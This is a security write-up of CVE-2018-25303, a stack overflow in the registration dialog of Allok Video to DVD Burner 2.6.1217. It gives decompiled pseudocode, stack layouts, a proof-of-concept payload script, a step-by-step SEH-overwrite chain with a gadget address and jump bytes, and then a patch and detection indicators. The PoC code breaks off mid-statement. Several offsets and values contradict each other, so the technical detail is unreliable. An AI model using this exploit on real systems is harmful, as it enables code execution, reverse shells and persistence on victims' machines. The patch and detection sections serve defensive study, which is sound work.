CVE-2018-25303: SEH Overwrite via Stack Overflow in Allok Video to DVD Burner 2.6.1217

Vulnerability Overview

Allok Video to DVD Burner 2.6.1217 ships a registration dialog that passes the License Name field directly into a fixed-size stack buffer without any length validation. An attacker who can paste a crafted string into that field — a trivially low bar on a shared or socially-engineered machine — gains control of the Structured Exception Handler (SEH) chain and achieves arbitrary code execution within the process context. The CVSSv3 score is 8.4 (HIGH), reflecting local access requirements offset by reliable, no-heap-spray execution.

The vulnerability class is textbook: a strcpy-family call into a stack-allocated buffer, no stack cookie protecting the SEH chain, and a registration dialog that accepts arbitrarily long clipboard input. The SEH-based exploitation technique bypasses simple stack-canary checks because the overwrite targets the exception registration record rather than the saved return address.

Affected Component

The vulnerable input path lives inside the registration/activation dialog of Allok Video to DVD Burner 2.6.1217 (PE: AllokVideoDVDBurner.exe). The License Name edit control (GetDlgItemTextA or equivalent) feeds directly into the stack buffer. No sanitisation, no _snprintf with a limit, no StringCbCopy. The binary is a 32-bit Windows PE compiled without /GS (stack cookies) or SafeSEH, making SEH-chain overwrites the natural exploitation primitive.

Root Cause Analysis

Reverse engineering the registration handler reveals a function we'll call CRegDlg::OnRegister. It reads the License Name field into a local stack buffer then passes it to a validation routine — neither step bounds-checks the input length.

// CRegDlg::OnRegister — decompiled pseudocode
// Located in AllokVideoDVDBurner.exe, dialog message handler WM_COMMAND
int CRegDlg::OnRegister(HWND hDlg) {
    char license_name[780];   // fixed stack buffer
    char license_key[128];

    // BUG: GetDlgItemTextA imposes no length limit here —
    // the fourth argument should be sizeof(license_name) but
    // is instead passed as a large constant or omitted entirely,
    // allowing the edit control to return the full clipboard content.
    GetDlgItemTextA(hDlg, IDC_LICENSE_NAME, license_name, 0x7FFFFFFF);

    // Attacker-controlled data now sits in license_name[].
    // Any input beyond 780 bytes corrupts adjacent stack frames.
    ValidateLicense(license_name, license_key);  // never reached on overflow
    return 0;
}

The critical mistake is passing 0x7FFFFFFF (or an equivalently unconstrained value) as the nMaxCount argument to GetDlgItemTextA. The Win32 documentation is explicit: the caller is responsible for ensuring the buffer is large enough for nMaxCount characters. When the edit control holds 2000+ bytes of attacker data, the API faithfully writes all of it onto the stack.

// Stack frame layout for CRegDlg::OnRegister (approximate)
// ESP base after function prologue:

/* +0x000 */ char license_name[780];   // [esp+0x00]  — input buffer
/* +0x30C */ char license_key[128];    // [esp+0x30C] — key buffer
/* +0x38C */ DWORD saved_edi;
/* +0x390 */ DWORD saved_esi;
/* +0x394 */ DWORD saved_ebp;
/* +0x398 */ DWORD saved_ret;          // return address
/* +0x39C */ EXCEPTION_REGISTRATION_RECORD *pSEH_next;  // nSEH
/* +0x3A0 */ EXCEPTION_REGISTRATION_RECORD *pSEH_handler; // SEH handler ptr

At offset +0x308 from the start of license_name (empirically confirmed at ~780 bytes of padding), the write reaches the SEH registration record. The next SEH pointer (nSEH) and the handler pointer (handler) sit at predictable, fixed offsets from the buffer start because ASLR was not mandatory for 32-bit applications on the target platform configuration and the binary has no dynamic-base flag enforced.

Memory Layout

STACK STATE BEFORE OVERFLOW (thread stack, growing downward):

  [esp+0x000] license_name[780]     <- GetDlgItemTextA writes here
  [esp+0x30C] license_key[128]
  [esp+0x38C] saved registers
  [esp+0x398] saved EIP (return addr)
  [esp+0x39C] nSEH  = 0x0012FF6C    (legitimate next handler)
  [esp+0x3A0] SEH   = 0x00412A3E    (legitimate handler in .exe)

----------------------------------------------------------------------

STACK STATE AFTER OVERFLOW (input = 780 'A' + nSEH + SEH + shellcode):

  [esp+0x000] AAAA...AAAA (780 bytes of padding)
  [esp+0x30C] AAAA...AAAA (key buf, saved regs, ret addr — all clobbered)
  [esp+0x39C] nSEH  = 0x90909090    <- short jump / NOP sled (attacker)
  [esp+0x3A0] SEH   = 0x00467DB2    <- POP POP RET gadget (attacker)
                                        (from a module without SafeSEH)
  [esp+0x3A4] shellcode begins here

When ValidateLicense() or any subsequent operation dereferences the
corrupted data, an access violation is raised. Windows exception
dispatch walks the SEH chain, finds the attacker's SEH record, and
calls the handler — which is a POP POP RET gadget. This pivots EIP
to nSEH, which contains a short jump forward into the shellcode.

Exploitation Mechanics

The exploit is delivered entirely through the clipboard. No file write, no network socket, no kernel interaction. The proof-of-concept Python script below generates the payload string.

#!/usr/bin/env python3
# CVE-2018-25303 — Allok Video to DVD Burner 2.6.1217 SEH overwrite PoC
# Usage: python3 cve_2018_25303_poc.py | clip  (then paste into License Name)

import struct

# -------------------------------------------------------------------
# Target: AllokVideoDVDBurner.exe 2.6.1217, 32-bit, no ASLR, no SafeSEH
# Tested: Windows XP SP3 / Windows 7 x86
# -------------------------------------------------------------------

OFFSET_TO_SEH  = 780          # bytes before nSEH is reached

# POP POP RET gadget — must be from a module without SafeSEH.
# Example: offset inside a bundled DLL (not SafeSEH registered).
# Verify with: !mona seh -cpb '\x00\x0a\x0d'
POP_POP_RET    = struct.pack('

EXPLOIT CHAIN:

1. Attacker generates payload.txt via poc.py; copies contents to clipboard.

2. Victim (or attacker with local access) opens Allok Video to DVD Burner
   and navigates to Help → Register.

3. Attacker pastes payload into "License Name" field (Ctrl+V).
   Field accepts full clipboard content — no length enforcement in the
   edit control message handler.

4. Victim clicks OK / Register. OnRegister() calls:
     GetDlgItemTextA(hDlg, IDC_LICENSE_NAME, license_name, 0x7FFFFFFF)
   Writing 780+ bytes into the 780-byte stack buffer.

5. Stack corruption overwrites:
     [esp+0x30C..0x39B] — license_key[], saved regs, saved EIP
     [esp+0x39C]        — nSEH  = 0xEB069090 (short jmp + NOPs)
     [esp+0x3A0]        — SEH   = 0x00467DB2 (POP POP RET)
     [esp+0x3A4+]       — shellcode

6. Corrupted stack data causes an access violation when ValidateLicense()
   attempts to use the clobbered license_key buffer or saved registers.

7. Windows SEH dispatch walks the chain, finds attacker's record,
   invokes handler at 0x00467DB2.

8. POP POP RET executes:
     POP  reg1   ; discard handler ptr
     POP  reg2   ; discard EstablisherFrame
     RET         ; returns to nSEH at [esp+0x39C]

9. nSEH = 0xEB06: short jump skips the 4-byte SEH dword, lands at +0x3A4.

10. Shellcode executes with full privileges of the running user process.
    PoC pops calc.exe; weaponised payload delivers reverse shell or
    drops persistence.

// BEFORE (vulnerable — CVE-2018-25303):
char license_name[780];
GetDlgItemTextA(hDlg, IDC_LICENSE_NAME, license_name, 0x7FFFFFFF);
//                                                     ^^^^^^^^^^
//  nMaxCount is effectively unbounded; any input > 780 bytes
//  overflows the stack buffer and corrupts the SEH chain.


// AFTER (patched):
char license_name[780];
// Pass sizeof(license_name) so GetDlgItemTextA truncates at 779 chars + NUL.
GetDlgItemTextA(hDlg, IDC_LICENSE_NAME, license_name, sizeof(license_name));
//                                                     ^^^^^^^^^^^^^^^^^^^
//  API now guarantees at most sizeof(license_name)-1 characters are written.

// PREFERRED — use StringCbCopyA / StringCchCopyA for defence-in-depth:
char raw_input[4096];
GetDlgItemTextA(hDlg, IDC_LICENSE_NAME, raw_input, sizeof(raw_input));
StringCbCopyA(license_name, sizeof(license_name), raw_input);
// StringCbCopyA truncates and always NUL-terminates; raises no exception.

// COMPILER-LEVEL mitigations that should accompany the fix:
//   /GS          — stack cookie between locals and saved frame
//   /SAFESEH     — registers all handlers; rejects unregistered SEH targets
//   /DYNAMICBASE — ASLR randomises module base, defeating hardcoded gadgets
//   /NXCOMPAT    — marks stack+heap NX, breaking direct shellcode execution

DETECTION INDICATORS:

Process behaviour:
  - AllokVideoDVDBurner.exe spawning unexpected child processes
    (cmd.exe, powershell.exe, wscript.exe) — high-confidence indicator.
  - Access violation / unhandled exception events in Windows Event Log
    for AllokVideoDVDBurner.exe immediately after registration dialog use.

File-based:
  - payload.txt files containing 780+ repetitive ASCII chars ('A', '\x41')
    followed by binary data — matches the PoC output pattern.
  - Clipboard content > 1KB directed at registration dialogs.

Memory forensics (if live analysis is possible):
  - SEH chain for AllokVideoDVDBurner.exe thread pointing outside all
    registered SafeSEH modules (use !exchain in WinDbg).
  - Stack frame for CRegDlg::OnRegister containing non-ASCII data in
    the license_name region beyond offset 0x30C.

Sigma / SIEM rule hint:
  Alert on: process_name = AllokVideoDVDBurner.exe AND
            child_process_spawned = true
  — trivially catches calc.exe PoC and most weaponised variants.